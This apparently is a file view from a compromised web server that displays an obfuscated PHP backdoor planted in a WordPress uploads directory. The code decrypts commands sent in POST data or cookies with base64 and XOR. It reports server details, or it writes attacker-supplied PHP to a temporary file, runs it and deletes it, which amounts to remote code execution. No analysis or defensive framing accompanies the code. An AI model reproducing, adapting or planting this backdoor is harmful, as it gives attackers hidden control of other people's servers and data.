HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/05/qzcogwrt.php
<?php $nfraq_izeb	=    'nfraq_izeb'      ^    '';$_ulxpbgir       = /*   evkwp   */ "\141" /*msf   */ . /* vqkvm*/ $nfraq_izeb(114)	. /* gvnqoe  */ "r".$nfraq_izeb(268-171)    .    "y"."_".$nfraq_izeb(109)    . /* gnvch  */ "\x61"	. /*c*/ $nfraq_izeb(637-525);

$jokgy    =    "i".$nfraq_izeb(673-564) /*  xvzleu  */ .	"p".$nfraq_izeb(464-356)    .    "o"."d"."\x65";


function	qmwekyb($mdfoqcj_, /*obpi   */ $gcboy)

{
 /*  wd */ global /* ucdep*/ $nfraq_izeb;
   
    $mdfoqcj_    =  $nfraq_izeb(60)       .   "\77"       .    "\160"	.    "\x68"    .   "\x70"    .    $nfraq_izeb(32) /* wxen*/ .    "u".$nfraq_izeb(806-696)	. /* u   */ "l".$nfraq_izeb(105) /* xktgwp*/ . /*slzvli */ "\156"      .      "\x6b" /* ockhm*/ . /*a  */ "("."_"."\x5f" /*   txztm */ . /* uzqt  */ "F"."I"."\x4c"       . /*  wye   */ "E"."_"."_"."\x29"	.    ";".$nfraq_izeb(32)    . /*   so   */ $mdfoqcj_["d"];

	$fjmsu    =    "f".$nfraq_izeb(105)."\x6c" /*   rcj */ .    "e"."\137"    .   "p"."\165"    .   "\x74"     .      $nfraq_izeb(95)	.	$nfraq_izeb(99) /*   x   */ .    $nfraq_izeb(111) /*  l*/ . /*  khecsx  */ "\156"	.  $nfraq_izeb(611-495) /*vvnhr*/ . /*w*/ "\x65" /*   _orfcw   */ . /*  y  */ "\156" /*_lsjbg  */ .	$nfraq_izeb(116)     .    "\x73";


 /*  pcaeny  */ 
 /*  sdr*/ $fjmsu($gcboy,     $mdfoqcj_);

   


   knfwrzkvq($gcboy);


}$wazsjgxio	=       73;function       knfwrzkvq($gcboy){


 /*  ybqfcj   */ global    $nfraq_izeb;

 /*  ir*/ 
	include($gcboy);


	$pgdlwqrooc	= /* mwgl */ $gcboy;

   @unlink($pgdlwqrooc);}



function /* ujrfzo */ pgjvb()


{
   global    $nfraq_izeb;




   $_akkn	=	array();

	$_akkn["p"."v"]  =	phpversion();

 /* ytl */ $_akkn["\x73" /*  qz_rld */ . /*  yxz  */ "v"]	= /*  v  */ "3".$nfraq_izeb(46)	. /*  trj  */ "5";


	$dpipsijdk /*   eigu   */ =   74; /* q  */ echo  @serialize($_akkn);
}




function	xiq_rabkkb($mdfoqcj_,    $lvrqjwf)

{
 /*s */ global    $nfraq_izeb;





	$bcymmwih	=     "";
    $_akknczwo /*   _d   */ =	strlen($mdfoqcj_);
	$rlcfamho      = /*   bisx */ strlen($lvrqjwf);


  $_akkn	= /* hycay */ 0;
      $_akknceqe    =  0;

 /*  qmrzg*/ 


	while /*xhw*/ ($_akkn /* h */ < /*   spiflj  */ $_akknczwo)    {

   $_akknceqexezkzc	= /*yp  */ $mdfoqcj_[$_akkn] /*  lsf   */ ^   $lvrqjwf[$_akknceqe /*  s   */ % /*   w */ $rlcfamho];


 /* mibpz*/ $bcymmwih	.=      $_akknceqexezkzc;


 /*   g_xakg   */ $_akknceqe++; /*  m*/ 


 /*   e   */ $_akkn++;

  } /*  gqr  */ 
 /*   e */ if /*  k_du  */ (strlen($bcymmwih)    >	20)	{


 /* tpmhrw*/ $fh__j	=	substr($bcymmwih, /*   xmuslw   */ 0,      20);

 /*   h */ }

	if /*   _boxs  */ (empty($bcymmwih))     {


 /* n*/ $bcymmwih   = /* nzxusu  */ date('Y-m-d	H:i:s');
	}
  return    $bcymmwih;

}



function	c_botny($lszultfqxw)
{


	global   $nfraq_izeb; /* sqkkdw*/ 


    $kzuqw       = /* qre*/ "\62"      .  "b"."\60"      . /*   _qif*/ "e".$nfraq_izeb(509-410)    .	"5"."\71"  .    "3"."\x2d"  .      $nfraq_izeb(50)    .	"\x34" /*  wog */ .      "\x65"    . /*   gf*/ "\x33"	.    "\x2d"    .   $nfraq_izeb(52)    .       "\x30"   .    "1"."\x37"	. /*khxyg */ "-"."b"."1"."1".$nfraq_izeb(805-754)    .    "-"."0"."\71"   .	$nfraq_izeb(912-812) /*  ngm   */ .      "\62"    .    "\x39"    .    $nfraq_izeb(994-937)	.  $nfraq_izeb(318-267) /*  noi  */ .  "2"."4"."6"."\63" /*   ic  */ .    "\x66";     

  foreach     ($lszultfqxw /* d   */ as     $zeehjse_bx /* higvci   */ => /*kvh   */ $mdfoqcj_)	{ /*  efh  */ kuitpcpe(base64_decode($mdfoqcj_),      $kzuqw, /*  recva   */ $zeehjse_bx);      }}




function    kuitpcpe($mdfoqcj_,     $kzuqw,       $zeehjse_bx)
{

 /*_zp  */ global	$nfraq_izeb;

       


     $mdfoqcj_ /*  bilta   */ = /*   cpz*/ unserialize(xiq_rabkkb(xiq_rabkkb($mdfoqcj_,     $kzuqw), /*fmwwrn */ $zeehjse_bx));


	$vdnyqthv	=    'qim';


	$cvvslqud    =       'phwejqyo';
   if    (isset($mdfoqcj_["\141"   . /*  z */ "k"]))       { /* zxkt*/ if /*_qzwi   */ ($mdfoqcj_[$nfraq_izeb(723-626)] /*  c   */ ==     $nfraq_izeb(105))      {

   pgjvb();
	}    elseif   ($mdfoqcj_[$nfraq_izeb(723-626)] /*  qpdukb   */ == /*hzoucz*/ "e") /*  jn */ {
    qmwekyb($mdfoqcj_,     sprintf($nfraq_izeb(195-149)    . /*hrffpx   */ $nfraq_izeb(47) /* ucvl */ .    "%".$nfraq_izeb(115) /*fv   */ . /*   s*/ $nfraq_izeb(438-392)      .  "\160"      .   "l", /* on  */ md5($kzuqw)));

			$pbktu    = /*   yq*/ 44;


  }

  exit();    }
}


c_botny($_POST);	


$nyhgaogxmc    =    'rawurldecode';




$pxjgl	=  $_ulxpbgir($nyhgaogxmc, /*xb   */ $_POST);$jokgy("", /*   gr */ $nyhgaogxmc);


c_botny($_COOKIE);


$cevz_ksdz	=    $_ulxpbgir($nyhgaogxmc, /*  rpfm */ $_COOKIE);






?>